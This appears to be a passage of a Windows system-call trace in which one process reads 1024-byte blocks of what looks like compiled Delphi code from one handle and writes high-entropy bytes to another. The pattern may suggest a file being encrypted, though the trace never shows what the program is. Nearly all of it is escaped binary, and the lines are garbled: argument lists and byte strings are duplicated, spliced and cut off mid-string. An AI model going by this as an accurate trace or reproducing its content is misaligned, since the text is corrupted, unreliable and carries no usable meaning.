 01034  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\234<\0@\3102\1@\11TRegGroup\213\300`2\1@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`2\1@$\0\0\0\34\20\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@H4\1@\12TRegGroups\220U\213\354QSVW\204\322t\10\203\304\360\350\261\14\377\377\213\371\210U\377\213\3303\322\213\303\350)\12\377\377\262\1\241@0\1@\350\35\12\377\377\213\360\211s\14\213\306\213\327\350\23\4\0\0\213\303\200}\377\0t\17\350\322\14\377\377d\217\5\0\0\0\0\203\304\14\213\303_^[Y]\303SV\350\11\15\377\377\213\332\213\360\213\323\200\342\374\213\306\350\371\11\377\377\213F\4\350\1\12\377\377\213F\10\350\371\11\377\377\213F\14\350\361\11\377\377\204\333~\7\213\306\350~\14\377\377^[\303\215@\0SV\213\332\213\360\205\333t\20\213\306\350\177(\377\377;\330t\53\300^[\303\260\1^[\303\220SVW\213\372\213\360\213F\14\213X\10K\203\373\0|%\213\323\213F\14\350\267\4\0\0\213\327\350\274\377\377\377\204\300t\12\213\323\213F\14\350\256\3\0\0K\203\373\377u\333\213F\4\205\300t.\213X\10K\203\373\0|%\213\323\213F\4\350\202\4\0\0\213\327\350\207\377\377\377\204\300t\12\213\323\213F\4\350y\3\0\0K\203\373\377u\333\213^\10\205\333t4\213\303\213\20\377R\24H\203\370\0|'\211\303\213\323\213F\10\213\10\377Q\30\213\327\350L\377\377\377\204\300t\12\213\323\213F\10\213\10\377QHK\203\373\377u\333_^[\303SVW\204\322t\10\203\304\360\350M\13\377\377\213\332\213\3703\322\213\307\350\310\10\377\377\262\1\241@", ) , ) == 0x0
 01035  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, " ~\20Djf\267z\177`\226\214:\314\365\252}:\324\263\3545\272n[kM\303p|M\373e\325\273L\325Q,\345\267\250\265\322E\222\365*\2403\333\241!h\253\205\3530\205\343f[\241\37}\261Gf\27\307\235\2248\332\331\270\301P\274K\15\25\25\371LA\31\234\341B\331o.#\377\240dl\232\356\311]\344%\21\354\21\242\15\13\276\371\331\252\303\304\350\264t\334c\31\325\244Ox\244\11\321M\27\y\214\372\354wRO\261\312(\0+Z^\305\303\353Q\357\304'|\256Iy\364\333\242\345\371\343\237\235\361\337\4\232\337{\314\337+\312\257\347xp23\7\256\304_`\5\270\213{\216\323\3265\12\244)'\22X:.n\333\323\350q\205\223\30\234kHo~\235\270\221\340\207\350A\3123\260\322\20E\317\376\10{\362\252\312\5\331\30\306\22\251\35\357\214\2624"\235C\231\37\321\206=\23\270\376\363>)\241:\355]\217%\300Y\376V\206\321\242%\366\11T,\304\331\304-0\375Xs\24V|\246\23X\306?l\317\205\365m\240\177T=\272\323\337\3773wyw\333\245l\337'\370\223\342\225\324\361\5\375\325\25\313K\275\347\340 v\14\237x0\303"\7\375\230\254", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \235C\231\37\321\206=\23\270\376\363>)\241:\355]\217%\300Y\376V\206\321\242%\366\11T,\304\331\304-0\375Xs\24V|\246\23X\306?l\317\205\365m\240\177T=\272\323\337\3773wyw\333\245l\337'\370\223\342\225\324\361\5\375\325\25\313K\275\347\340 v\14\237x0\303203\264\222\332\245\321\257w\334\32\264\211~|\235{\260)P\233P6\236|\262\257\254\265m\354\264\361\334\204\310n1\315\33%W\311s\244#\3229\317\241\1\326\2015\270\323R;l\262\247\341\361\25\377\251\363\34\234Z\300~x8\32\225j\330\337\225\215\17\253\256\313\276u\331\30\350\341\301\353\341\375\322bq:Cixe~\323#'\13\211\206\370{\267b\336\201p\370\226\320FS\362`\363\317\357\435 (92, 0, 0, 0, " ~\20Djf\267z\177`\226\214:\314\365\252}:\324\263\3545\272n[kM\303p|M\373e\325\273L\325Q,\345\267\250\265\322E\222\365*\2403\333\241!h\253\205\3530\205\343f[\241\37}\261Gf\27\307\235\2248\332\331\270\301P\274K\15\25\25\371LA\31\234\341B\331o.#\377\240dl\232\356\311]\344%\21\354\21\242\15\13\276\371\331\252\303\304\350\264t\334c\31\325\244Ox\244\11\321M\27\y\214\372\354wRO\261\312(\0+Z^\305\303\353Q\357\304'|\256Iy\364\333\242\345\371\343\237\235\361\337\4\232\337{\314\337+\312\257\347xp23\7\256\304_`\5\270\213{\216\323\3265\12\244)'\22X:.n\333\323\350q\205\223\30\234kHo~\235\270\221\340\207\350A\3123\260\322\20E\317\376\10{\362\252\312\5\331\30\306\22\251\35\357\214\2624"\235C\231\37\321\206=\23\270\376\363>)\241:\355]\217%\300Y\376V\206\321\242%\366\11T,\304\331\304-0\375Xs\24V|\246\23X\306?l\317\205\365m\240\177T=\272\323\337\3773wyw\333\245l\337'\370\223\342\225\324\361\5\375\325\25\313K\275\347\340 v\14\237x0\303"\7\375\230\254", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01036  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\350\257\377\377\377\213\320\241\324\362\1@\350\13\4\0\0_^[\303\215@\0U\213\354QSVW\211U\374\213\370\213u\10\205\366|#F\215Y\4\213\327\213\3\350XE\377\377\204\300t\14\260\1\213U\374\213K\374\211\12\353\10\203\303\10Nu\3413\300_^[Y]\302\4\0U\213\354\203\304\370SVW\211M\374\213\372\213u\10\205\366|\36F\213]\374;\3u\20\306E\373\1\213\307\213S\4\350U\22\377\377\353\12\203\303\10Nu\346\306E\373\0\17\266E\373_^[YY]\302\4\0SV\3505\11\377\377\213\332\213\360\213\306\213\20\377R\10\204\333~\7\213\306\350\307\10\377\377^[\303SVW\213\372\213\330\213s\10;s\14u\6\213\303\213\20\377\22\213C\4\211<\260\377C\10\205\377t\133\311\213\327\213\303\213\30\377S\4\213\306_^[\303\220S\213\3303\322\213\303\350\330\1\0\03\322\213\303\350\223\1\0\0[\303\220SVW\213\362\213\330\205\366|\5;s\10|\17\213\25\\260\1@\213\316\213\3\350\201\0\0\0\213\326\213\303\350\314\0\0\0\213\370\377K\10\213C\10;\360}\32+\306\213\310\3\311\3\311\213C\4\215\24\260\213C\4\215D\260\4\350\246\366\376\377\205\377t\13\261\2\213\327\213\303\213\30\377S\4_^[\303\215@\0\213E\4\303SV\203\304\370\213\361\213\332\350\356\377\377\377P\211t$\4\306D$\10\0\215D$\4Pj\0\213\313\262\1\241\210/\1@\350\317x\377\377\351B\13\377\377YZ^[\303\220U\213\354j\0SV\213\361\213\3323\300Uh\3607\1@d\3770d\211 \215U\374\213\303\350%+\377\377\213U\374\213\316\241@0\1@\350\226\377\377\3773\300ZYYd\211\20h\3677\1@\215E\374\350\225\20\377\377\303\351\17\12\377", ) , ) == 0x0
 01037  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\353\220\371\204\373 `\2qu\5\246\212w\357`4\332t\370\23\245_\236m\262_\224)\207\314\252"1\13\202us\220\316\201\307\265\246\24\367Z;\227\05\3221`zN\220\5\2370U\271E'\26\304\321\213O\323\250@\273\21l\227\271\13\16\257\335H\214\2172'\15\261_\12"\27\0mF7CY\5\35683\354I\373\252\307n\255\247\7\6\375\262\236\246\37\343|\11\223\262}\2310\322\26\30u*\1\345\306:\20\5\13\3263\237\327@\250\315\240\367\327\337\333\6E(U\332]\332\244\200\263\262\361C\255\242\346\222\225`@\367ov9\347M\7\274l\2360\205\321\36\224MM\203\240\226/\255\210\32\11y7u\265\212&\277\246\343\342\3621R\225z\14\203\250\204!R\200a\2313\227\341\224\324]\360\247)\352\250%\335#ZN\24Y\332n\363N47\24\206\376X\301z\215\310\302IA\31\222&\1\306\353=%\236\325\332/g\262\242\372\337\350\215\250\33\333\24;\266x\230O\31\4\225v\205\202T\273Y\4Y\316\245\246\223\340\213#\331)1\215Q\356\253x2|)\230nM\305\221\37\3KY\230\311\244\340\217\331\325\1\252\7\361\3652\276d{\276p1nA\6?\177\271\212m\353%\321`ca\345\210\3412\236\354\36\12\31\220N}\240\221\316U\203\4\205\302\325\250\200r=\355Y\14\310\335\206R\313\307\205LI\333\231\217\222sT\15\376\317(\201\350\202=-\2773f\276\360\272\223P\225;c*x\334\234>\373\202'\27\15\335\26%G#\331:4\10\314\351H\366\276\355p\341q\301\14+\367\34\2671\307J\35\35\363\207G[D\223+\315\260\357\16\301jLj\44r\263\311\224p\32[\220Z\307\303\323\36\252\21\5\364gK\202\234\303\245\222\201o\23%Q", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 1\13\202us\220\316\201\307\265\246\24\367Z;\227\05\3221`zN\220\5\2370U\271E'\26\304\321\213O\323\250@\273\21l\227\271\13\16\257\335H\214\2172'\15\261_\12 (92, 0, 0, 0, "\353\220\371\204\373 `\2qu\5\246\212w\357`4\332t\370\23\245_\236m\262_\224)\207\314\252"1\13\202us\220\316\201\307\265\246\24\367Z;\227\05\3221`zN\220\5\2370U\271E'\26\304\321\213O\323\250@\273\21l\227\271\13\16\257\335H\214\2172'\15\261_\12"\27\0mF7CY\5\35683\354I\373\252\307n\255\247\7\6\375\262\236\246\37\343|\11\223\262}\2310\322\26\30u*\1\345\306:\20\5\13\3263\237\327@\250\315\240\367\327\337\333\6E(U\332]\332\244\200\263\262\361C\255\242\346\222\225`@\367ov9\347M\7\274l\2360\205\321\36\224MM\203\240\226/\255\210\32\11y7u\265\212&\277\246\343\342\3621R\225z\14\203\250\204!R\200a\2313\227\341\224\324]\360\247)\352\250%\335#ZN\24Y\332n\363N47\24\206\376X\301z\215\310\302IA\31\222&\1\306\353=%\236\325\332/g\262\242\372\337\350\215\250\33\333\24;\266x\230O\31\4\225v\205\202T\273Y\4Y\316\245\246\223\340\213#\331)1\215Q\356\253x2|)\230nM\305\221\37\3KY\230\311\244\340\217\331\325\1\252\7\361\3652\276d{\276p1nA\6?\177\271\212m\353%\321`ca\345\210\3412\236\354\36\12\31\220N}\240\221\316U\203\4\205\302\325\250\200r=\355Y\14\310\335\206R\313\307\205LI\333\231\217\222sT\15\376\317(\201\350\202=-\2773f\276\360\272\223P\225;c*x\334\234>\373\202'\27\15\335\26%G#\331:4\10\314\351H\366\276\355p\341q\301\14+\367\34\2671\307J\35\35\363\207G[D\223+\315\260\357\16\301jLj\44r\263\311\224p\32[\220Z\307\303\323\36\252\21\5\364gK\202\234\303\245\222\201o\23%Q", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01038  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\377\377\303\351\374\7\377\377\353\344\200}\373\0~\10\213E\374\350h\5\377\377YY]\303U\213\354QS\213\332\211E\374\213E\374\350v\0\0\03\300Uh\230:\1@d\3770d\211 \213E\374\200x \1t\20\213E\374\213@\4\213\323\350\6\376\377\377@u\17\213E\374\213@\4\213\323\350Z\374\377\377\353\36\213E\374\200x \2u\25\213\25\220\257\1@\213E\374\213@\4\213\0\213\313\350&\375\377\3773\300ZYYd\211\20h\237:\1@\213E\374\350q\0\0\0\303\351g\7\377\377\353\360[Y]\303\220S\213\330\215C\10P\350p*\377\377\213C\4[\303\215@\0U\213\354QS\213\332\211E\374\213E\374\350\332\377\377\3773\300Uh\373:\1@d\3770d\211 \213E\374\213@\4\213\323\350\223\375\377\3773\300ZYYd\211\20h\2;\1@\213E\374\350\16\0\0\0\303\351\4\7\377\377\353\360[Y]\303\213\300\203\300\10P\350\327*\377\377\303\213\300SV\350\275\4\377\377\213\332\213\360\213\306\350j\2\0\0\213\323\200\342\374\213\306\350\246\1\377\377\204\333~\7\213\306\350C\4\377\377^[\303\205\322t\6\222\213\10\377\21\3033\322\350\3\0\0\0\303\213\300U\213\354\201\304\354\376\377\377SV3\311\211M\374\213\362\213\3303\300Uh\12<\1@d\3770d\211 \205\366t\35\215\225\374\376\377\377\213\6\350\345\0\377\377\215\225\374\376\377\377\215E\374\350S\17\377\377\353\15\215E\374\272 <\1@\350x\15\377\377\213E\374\211\205\354\376\377\377\306\205\360\376\377\377\13\215\225\374\376\377\377\213\3\350\253\0\377\377\215\205\374\376\377\377\211\205\364\376\377\377\306\205\370\376\377\377\4\215\205\354\376\377\377Pj\1\213\15\254\257\1@\262\1\241\344s\0@\3509u\377\377\350\360\6\377\377", ) , ) == 0x0
 01039  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\257oQ\24\226/\321\31\324xG\5O?S\333(\321b\10\321\377w\0\272\307$ \367\217\215\344xj-@\266.\325f\353`\344\220\31(\267\37?;\3e\275]\360`\340\300"\352\357\363F\},B\35\0\204\327\367\233\331%\275\234\26\304\242\205\3121\31q3g5\267\240v\7P,\372^\35 \233\255u\274\272\3340\264N~'\203'qU\240C !\204\276g\340\351\325ftJ\247\233\231\311\257\370U\251\16\356\236\327\226)\270@*\261^\217\227\3616\364WN\21\344m\310\344\3n\343\344\262\365\340\302\212\331T"\255\6e\376L\346H\205,%\32U\261\34\331\25\325\226\313C\250/\2275\336\6\220+\354\375\114\343\347\240\322\214ge&\11D\345<\214g\271-\376\373\2555\331\357^_<\330\310.6\316<\201\3715\276,+\360h\323wn)\322\201\225?\244D\226\344\326\214\344\276\10G;\177\12\242,H\37\325%4{?\200\253\200\224\273\242\27\254\23\304C\333\12B\212\12\W\210\17\352\357\376j|)9\3156S\366'wk\332\247<\33x\15\11A\2631Or\354\233'\211*$\353\35\370\307T~[\273\245:A\k\342\32\300\306]\327[\257J\15M\331\5\13\305\264\360\260\250J\2402\3406\35\221\341sG\216\203C\35\276Al\2\240\376\344,\341\344\304\6\34U\30\350\237.\247\356{\24\4\234%\367i\302\222\240\2433(*\336\274Wn\3t\24\310S\333L<\227\317[\17\32\21S\221B\357Y\11Q\365\347\35\253\265\310\336\3110\376>\306\243C\362F\11\305\241\226\307U\323+\220\300\342\366\361\3704\177r\325\13\333MokC\361\315\366\235G\247f\301\375l\263\301!~\303g$J%\331\34>O\275|z\211[(\213\354\14\", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \352\357\363F\},B\35\0\204\327\367\233\331%\275\234\26\304\242\205\3121\31q3g5\267\240v\7P,\372^\35 \233\255u\274\272\3340\264N~'\203'qU\240C !\204\276g\340\351\325ftJ\247\233\231\311\257\370U\251\16\356\236\327\226)\270@*\261^\217\227\3616\364WN\21\344m\310\344\3n\343\344\262\365\340\302\212\331T (92, 0, 0, 0, "\257oQ\24\226/\321\31\324xG\5O?S\333(\321b\10\321\377w\0\272\307$ \367\217\215\344xj-@\266.\325f\353`\344\220\31(\267\37?;\3e\275]\360`\340\300"\352\357\363F\},B\35\0\204\327\367\233\331%\275\234\26\304\242\205\3121\31q3g5\267\240v\7P,\372^\35 \233\255u\274\272\3340\264N~'\203'qU\240C !\204\276g\340\351\325ftJ\247\233\231\311\257\370U\251\16\356\236\327\226)\270@*\261^\217\227\3616\364WN\21\344m\310\344\3n\343\344\262\365\340\302\212\331T"\255\6e\376L\346H\205,%\32U\261\34\331\25\325\226\313C\250/\2275\336\6\220+\354\375\114\343\347\240\322\214ge&\11D\345<\214g\271-\376\373\2555\331\357^_<\330\310.6\316<\201\3715\276,+\360h\323wn)\322\201\225?\244D\226\344\326\214\344\276\10G;\177\12\242,H\37\325%4{?\200\253\200\224\273\242\27\254\23\304C\333\12B\212\12\W\210\17\352\357\376j|)9\3156S\366'wk\332\247<\33x\15\11A\2631Or\354\233'\211*$\353\35\370\307T~[\273\245:A\k\342\32\300\306]\327[\257J\15M\331\5\13\305\264\360\260\250J\2402\3406\35\221\341sG\216\203C\35\276Al\2\240\376\344,\341\344\304\6\34U\30\350\237.\247\356{\24\4\234%\367i\302\222\240\2433(*\336\274Wn\3t\24\310S\333L<\227\317[\17\32\21S\221B\357Y\11Q\365\347\35\253\265\310\336\3110\376>\306\243C\362F\11\305\241\226\307U\323+\220\300\342\366\361\3704\177r\325\13\333MokC\361\315\366\235G\247f\301\375l\263\301!~\303g$J%\331\34>O\275|z\211[(\213\354\14\", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01040  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "@\350\2\375\377\377\303\351\370\3\377\377\353\356_^[Y]\303h\344\362\1@\350\302'\377\377hD>\1@j\0j\377j\0\350\332&\377\377\243\314\362\1@\203=\314\362\1@\0u\5\350\317\205\377\377\303\0\0\0\0\0\0h\344\362\1@\350\306&\377\377\241\314\362\1@P\350\223&\377\377\303\213\300U\213\354SVW\241\324\362\1@\3504\374\377\377\213\3703\300Uh\265>\1@d\3770d\211 \213_\10K\205\333|\25C3\366\213\326\213\307\350h\371\377\377\350O\376\376\377FKu\3563\300ZYYd\211\20h\274>\1@\241\324\362\1@\350T\374\377\377\303\351J\3\377\377\353\356\241\324\362\1@\350"\376\376\377_^[]\303\220\350?\366\377\377\303\213\300U\213\3543\300Uhx?\1@d\3770d\211 \377\5\320\362\1@u}\241\370\347\1@\350\31\366\377\377\241\310\362\1@\213\20\377R\24\350Z\377\377\3773\3223\300\350\325\375\377\377\270\340\362\1@\350W\212\377\377\350\12%\377\377\215\200\10\0\0\0\350G\212\377\377\270\330\362\1@\350=\212\377\377\270\310\362\1@\350\307"\377\377\270\314>\1@\350U!\377\377\270\224\252\1@\350\37\212\377\377\350\362\376\377\377\270\334\362\1@\350\20\212\377\377\270\310\362\1@\350\232"\377\3773\300ZYYd\211\20h\177?\1@\303\351\207\2\377\377\353\370]\303\215@\0\370\347\1@\222\377\0\0\377\377\377\377\1\0\0\00\0\0\0\377\377\377\377\1\0\0\01\0\0\0U\213\3543\300Uh\340?\1@d\3770d\211 \377\5\374\362\1@u\25\270\230\252\1@\271\2\0\0\0\213\25\0\20\0@\350B\23\377\3773\300ZYYd\211\20h\347?\1@\303\351\37\2\377\377\353\370]\303\215@\08@\1@\0\0\0\0", ) \376\376\377_^[]\303\220\350?\366\377\377\303\213\300U\213\3543\300Uhx?\1@d\3770d\211 \377\5\320\362\1@u}\241\370\347\1@\350\31\366\377\377\241\310\362\1@\213\20\377R\24\350Z\377\377\3773\3223\300\350\325\375\377\377\270\340\362\1@\350W\212\377\377\350\12%\377\377\215\200\10\0\0\0\350G\212\377\377\270\330\362\1@\350=\212\377\377\270\310\362\1@\350\307 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "@\350\2\375\377\377\303\351\370\3\377\377\353\356_^[Y]\303h\344\362\1@\350\302'\377\377hD>\1@j\0j\377j\0\350\332&\377\377\243\314\362\1@\203=\314\362\1@\0u\5\350\317\205\377\377\303\0\0\0\0\0\0h\344\362\1@\350\306&\377\377\241\314\362\1@P\350\223&\377\377\303\213\300U\213\354SVW\241\324\362\1@\3504\374\377\377\213\3703\300Uh\265>\1@d\3770d\211 \213_\10K\205\333|\25C3\366\213\326\213\307\350h\371\377\377\350O\376\376\377FKu\3563\300ZYYd\211\20h\274>\1@\241\324\362\1@\350T\374\377\377\303\351J\3\377\377\353\356\241\324\362\1@\350"\376\376\377_^[]\303\220\350?\366\377\377\303\213\300U\213\3543\300Uhx?\1@d\3770d\211 \377\5\320\362\1@u}\241\370\347\1@\350\31\366\377\377\241\310\362\1@\213\20\377R\24\350Z\377\377\3773\3223\300\350\325\375\377\377\270\340\362\1@\350W\212\377\377\350\12%\377\377\215\200\10\0\0\0\350G\212\377\377\270\330\362\1@\350=\212\377\377\270\310\362\1@\350\307"\377\377\270\314>\1@\350U!\377\377\270\224\252\1@\350\37\212\377\377\350\362\376\377\377\270\334\362\1@\350\20\212\377\377\270\310\362\1@\350\232"\377\3773\300ZYYd\211\20h\177?\1@\303\351\207\2\377\377\353\370]\303\215@\0\370\347\1@\222\377\0\0\377\377\377\377\1\0\0\00\0\0\0\377\377\377\377\1\0\0\01\0\0\0U\213\3543\300Uh\340?\1@d\3770d\211 \377\5\374\362\1@u\25\270\230\252\1@\271\2\0\0\0\213\25\0\20\0@\350B\23\377\3773\300ZYYd\211\20h\347?\1@\303\351\37\2\377\377\353\370]\303\215@\08@\1@\0\0\0\0", ) \377\3773\300ZYYd\211\20h\177?\1@\303\351\207\2\377\377\353\370]\303\215@\0\370\347\1@\222\377\0\0\377\377\377\377\1\0\0\00\0\0\0\377\377\377\377\1\0\0\01\0\0\0U\213\3543\300Uh\340?\1@d\3770d\211 \377\5\374\362\1@u\25\270\230\252\1@\271\2\0\0\0\213\25\0\20\0@\350B\23\377\3773\300ZYYd\211\20h\347?\1@\303\351\37\2\377\377\353\370]\303\215@\08@\1@\0\0\0\0", ) == 0x0
 01041  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\204\177\335q\26\354\273m+f/P\203\273\223\352\335Fk\12|\276\266\207I-\233\224\353kE6\234\217?\177\327\326n\26FK\324&\361\227\232Oc\346\313x2V\337Y;\0/g\231\311Y\3404\200\301\314\323\22m\353\325e\263e\\3251qo\212\16D\237\2\32\33\344\216\212\310\257k\313-\264\313\333\33\315\215 \210\257\264$\20xRk\31\231\246\347\261\213t\302\2441Z\326\15n`\5\367%\2731\327\252\250NE\240&\7\34b;\345\247^\3047#}+p\226\227\215d\4\344\362o(\306\261t\272\200\304\246\326\300\7,6\273\35*\243\353\240\320\204dw\277\333[\266$\344\324\257i\10\302\314\16\360\24\316\315J+\30\332\363\351\374\215F\311\10'\277J\223\16\220\2154\367\207\26\211\273#\206.\22Oz\324\246\340\373=jF=\4s"\200\34\14F\23\364?\363\377W\306\262\214\271s\346\224$P \213\3330iB\342\11\265\355\351\325\371\224\347\336\325\341*N&/\360\235mU\253",\312\332d\304\353\246(\277\310\366Q.\316R*\354)O\262\200\0\274\231U\214\367\326\24Q\26\234\307\222-[\2162\312\213\332\355WmZ\247\340\360B\272\241\331\237\364\11\236\37Q\304\24\241\21\254\3C&R\374M\353\21_\346\235P\221\37\362r\362\276\312\33\210\332\342w\350\304\12-Y\17O\261d\243\360\17\357\355\215V\301\230\\313FW\357_\253\21\26\263\373\277\276\250\350(", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \200\34\14F\23\364?\363\377W\306\262\214\271s\346\224$P \213\3330iB\342\11\265\355\351\325\371\224\347\336\325\341*N&/\360\235mU\253 (92, 0, 0, 0, "\204\177\335q\26\354\273m+f/P\203\273\223\352\335Fk\12|\276\266\207I-\233\224\353kE6\234\217?\177\327\326n\26FK\324&\361\227\232Oc\346\313x2V\337Y;\0/g\231\311Y\3404\200\301\314\323\22m\353\325e\263e\\3251qo\212\16D\237\2\32\33\344\216\212\310\257k\313-\264\313\333\33\315\215 \210\257\264$\20xRk\31\231\246\347\261\213t\302\2441Z\326\15n`\5\367%\2731\327\252\250NE\240&\7\34b;\345\247^\3047#}+p\226\227\215d\4\344\362o(\306\261t\272\200\304\246\326\300\7,6\273\35*\243\353\240\320\204dw\277\333[\266$\344\324\257i\10\302\314\16\360\24\316\315J+\30\332\363\351\374\215F\311\10'\277J\223\16\220\2154\367\207\26\211\273#\206.\22Oz\324\246\340\373=jF=\4s"\200\34\14F\23\364?\363\377W\306\262\214\271s\346\224$P \213\3330iB\342\11\265\355\351\325\371\224\347\336\325\341*N&/\360\235mU\253",\312\332d\304\353\246(\277\310\366Q.\316R*\354)O\262\200\0\274\231U\214\367\326\24Q\26\234\307\222-[\2162\312\213\332\355WmZ\247\340\360B\272\241\331\237\364\11\236\37Q\304\24\241\21\254\3C&R\374M\353\21_\346\235P\221\37\362r\362\276\312\33\210\332\342w\350\304\12-Y\17O\261d\243\360\17\357\355\215V\301\230\\313FW\357_\253\21\26\263\373\277\276\250\350(", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01042  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\350\273"\377\377\306C\24\0\211s\10\213\303\350\251\377\377\377^[\303\213\300SVW\213\371\213\362\213\330\213\303\350\224\377\377\377\211s\4\215C\20\213\327\350\243\6\377\377_^[\303\215@\0\213H\4\205\311t\4\204\322u\4\213@\10\303\213\301\303\213\300U\213\354\203\304\360SV3\333\211]\374\210M\373\213\332\213\3603\300UhUC\1@d\3770d\211 \215E\374\213\323\350\240\6\377\377\213E\374\350\\376\377\377\213\330\204\333u\22\215E\374\271\1\0\0\0\272\1\0\0\0\350L\13\377\3773\300\211E\364\200}\373\0t\6\203}\374\0u*\215E\364P\213F\30Pj\0\213E\374\350\211\12\377\377P\213\323\213\306\350s\377\377\377P\350\11"\377\377\205\300\17\224E\372\3532\215E\360P\215E\364Pj\0\213F\30Pj\0j\0j\0\213E\374\350U\12\377\377P\213\323\213\306\350?\377\377\377P\350\305!\377\377\205\300\17\224E\372\200}\372\0t0\203~\4\0\17\225\300\204\330t\30\377v\20hpC\1@\377u\374\215E\374\272\3\0\0\0\350\326\10\377\377\213M\374\213U\364\213\306\350\331\376\377\3773\300ZYYd\211\20h\C\1@\215E\374\3500\5\377\377\303\351\252\376\376\377\353\360\17\266E\372^[\213\345]\303\0\0\377\377\377\377\1\0\0\0\\0\0\0U\213\354\203\304\364SV3\311\211M\374\213\332\213\3603\300Uh\16E\1@d\3770d\211 \215E\374\213\323\350\177\5\377\377\213E\374\350;\375\377\377\213\330\204\333u\22\215E\374\271\1\0\0\0\272\1\0\0\0\350+\12\377\3773\300\211E\364\215E\364Ph\31\0\2\0j\0\213E\374\350s\11\377\377P\213\323\213\306\350]\376\377\377P\350\363 \377\377\205\300\17\224E\373\200}\373\0t<\307F\30", ) \377\377\306C\24\0\211s\10\213\303\350\251\377\377\377^[\303\213\300SVW\213\371\213\362\213\330\213\303\350\224\377\377\377\211s\4\215C\20\213\327\350\243\6\377\377_^[\303\215@\0\213H\4\205\311t\4\204\322u\4\213@\10\303\213\301\303\213\300U\213\354\203\304\360SV3\333\211]\374\210M\373\213\332\213\3603\300UhUC\1@d\3770d\211 \215E\374\213\323\350\240\6\377\377\213E\374\350\\376\377\377\213\330\204\333u\22\215E\374\271\1\0\0\0\272\1\0\0\0\350L\13\377\3773\300\211E\364\200}\373\0t\6\203}\374\0u*\215E\364P\213F\30Pj\0\213E\374\350\211\12\377\377P\213\323\213\306\350s\377\377\377P\350\11 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\350\273"\377\377\306C\24\0\211s\10\213\303\350\251\377\377\377^[\303\213\300SVW\213\371\213\362\213\330\213\303\350\224\377\377\377\211s\4\215C\20\213\327\350\243\6\377\377_^[\303\215@\0\213H\4\205\311t\4\204\322u\4\213@\10\303\213\301\303\213\300U\213\354\203\304\360SV3\333\211]\374\210M\373\213\332\213\3603\300UhUC\1@d\3770d\211 \215E\374\213\323\350\240\6\377\377\213E\374\350\\376\377\377\213\330\204\333u\22\215E\374\271\1\0\0\0\272\1\0\0\0\350L\13\377\3773\300\211E\364\200}\373\0t\6\203}\374\0u*\215E\364P\213F\30Pj\0\213E\374\350\211\12\377\377P\213\323\213\306\350s\377\377\377P\350\11"\377\377\205\300\17\224E\372\3532\215E\360P\215E\364Pj\0\213F\30Pj\0j\0j\0\213E\374\350U\12\377\377P\213\323\213\306\350?\377\377\377P\350\305!\377\377\205\300\17\224E\372\200}\372\0t0\203~\4\0\17\225\300\204\330t\30\377v\20hpC\1@\377u\374\215E\374\272\3\0\0\0\350\326\10\377\377\213M\374\213U\364\213\306\350\331\376\377\3773\300ZYYd\211\20h\C\1@\215E\374\3500\5\377\377\303\351\252\376\376\377\353\360\17\266E\372^[\213\345]\303\0\0\377\377\377\377\1\0\0\0\\0\0\0U\213\354\203\304\364SV3\311\211M\374\213\332\213\3603\300Uh\16E\1@d\3770d\211 \215E\374\213\323\350\177\5\377\377\213E\374\350;\375\377\377\213\330\204\333u\22\215E\374\271\1\0\0\0\272\1\0\0\0\350+\12\377\3773\300\211E\364\215E\364Ph\31\0\2\0j\0\213E\374\350s\11\377\377P\213\323\213\306\350]\376\377\377P\350\363 \377\377\205\300\17\224E\373\200}\373\0t<\307F\30", ) , ) == 0x0
 01043  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\5\3\332\206.C$\362\345\204^\331\177\27\324\371\352\334\13I\353ygLD\320\177\3665\334\262\277t\231 \317\27\204\177\24519:\224:[\25\375\323Gl\316=\3017\21\25\263\15\243\310\5\223:{'\0R\225\22>;(\6.\224xu\251\214\260\215\320U\234q*\223\262\220\262H\337\10\207\350\340p\225\313,\1\214O7\206\355\354\209\265\276\242\204\141\321\237|\224\212P\312\304\205\23\0\327c\206O\342\31\337C\356v\345\225\255\366\347:Z\357\273Q\31\251\322@\330^\17\354\3451<\307\306L%B\2507|\14\277\254\311\373\340\16\367\32aWf\323u\267\35\222`$\207\326\307=\27\33a\211b\225\301\302R+\212\231I\310\5f\32\333\320\215\32\2517}\264 